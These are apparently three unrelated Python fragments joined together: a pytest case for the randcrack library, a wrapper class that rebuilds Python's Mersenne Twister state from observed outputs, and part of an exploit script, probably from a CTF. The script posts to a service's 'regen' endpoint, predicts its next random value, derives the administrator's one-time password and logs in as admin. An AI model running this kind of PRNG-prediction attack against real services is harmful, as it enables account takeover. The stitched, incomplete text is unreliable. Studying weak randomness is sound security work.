def test_submit_not_enough(): random.seed(time.time()) cracker = RandCrack() for i in range(623): cracker.submit(random.randint(0, 4294967294)) with pytest.raises(ValueError): cracker.predict_randint(0, 1)
class MyRandCrack: rc = RandCrack() def __init__(self,output) -> None: self.rc = RandCrack() S = [] for ot in output: tmp = [] if len(bin(ot)[2:]) % 32 != 0: b ='0'*(32 - (len(bin(ot)[2:]) % 32)) + bin(ot)[2:] else: b = bin(ot)[2:] for i in range(0,len(b),32): tmp.append(int(b[i:i+32],2)) S = S + tmp[::-1] for i in S[:624]: self.rc.submit(i) def rc_getrandbits(self,bits): return self.rc.predict_getrandbits(bits) def rc_randint(self,a,b): return self.rc.predict_randint(a,b) def rc_randrange(self,a,b): return self.rc.predict_randrange(a,b)
bseed = zlib.crc32(bname.format(i).encode()) theor_value = seed - bseed print( f"Thror: {theor_value} from {seed} - {bseed}\t\tDone {round(i/624 * 100, 3)}% ({i}/624)" ) rc.submit(theor_value) print("Let's predict!") try: d1 = s.post(bu + "regen", data={"login": "******", "otp": "-1"}) except r.exceptions.ConnectionError: d1 = s.post(bu + "regen", data={"login": "******", "otp": "-1"}) if "exists" in d1.text: print("watafack") exit(1) rd1 = r1.search(d1.text) if not rd1: print("watafack 1") print(d1.text) exit(1) tr = rc.predict_randint(0, 4294967294) admin = crypto.User(seed=zlib.crc32("admin".encode()) + tr) print( f"Theor random int = {tr}, passw_from = {rd1.group(1)}, passw_our = {admin.gen_pass()}" ) d2 = s.post(bu + "login", data={"login": "******", "otp": admin.gen_pass()}) print(d2.text)